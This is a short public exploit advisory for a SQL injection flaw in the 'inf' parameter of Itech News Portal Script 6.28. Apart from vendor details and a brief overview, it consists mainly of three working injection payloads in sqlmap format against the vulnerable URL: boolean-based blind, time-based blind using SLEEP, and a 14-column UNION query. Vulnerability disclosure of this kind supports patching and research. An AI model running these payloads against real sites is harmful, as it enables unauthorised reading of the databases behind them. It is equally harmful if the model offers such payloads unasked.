Itech News Portal Script 6.28 - 'inf' SQL Injection

Exploit Title: Itech News Portal Script v6.28 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/news-portal-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

News Portal Script v6.28 is a CMS Software developed as a news broadcasting portal. This product is considered as the best in this category.

Type of vulnerability:

An SQL Injection vulnerability in News Portal Script v6.28 allows attackers to read
arbitrary data from the database.

Vulnerability:

http://localhost/news-portal-script/information.php?inf=22[payload]

Parameter: inf (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: inf=22 AND 3993=3993

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: inf=22 OR SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: inf=-1695 UNION ALL SELECT CONCAT(0x716a787171,0x7356527144546c6e6b47714b49415759595952764c734a657165476f4d496e534e565668666f786f,0x7178787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- trhS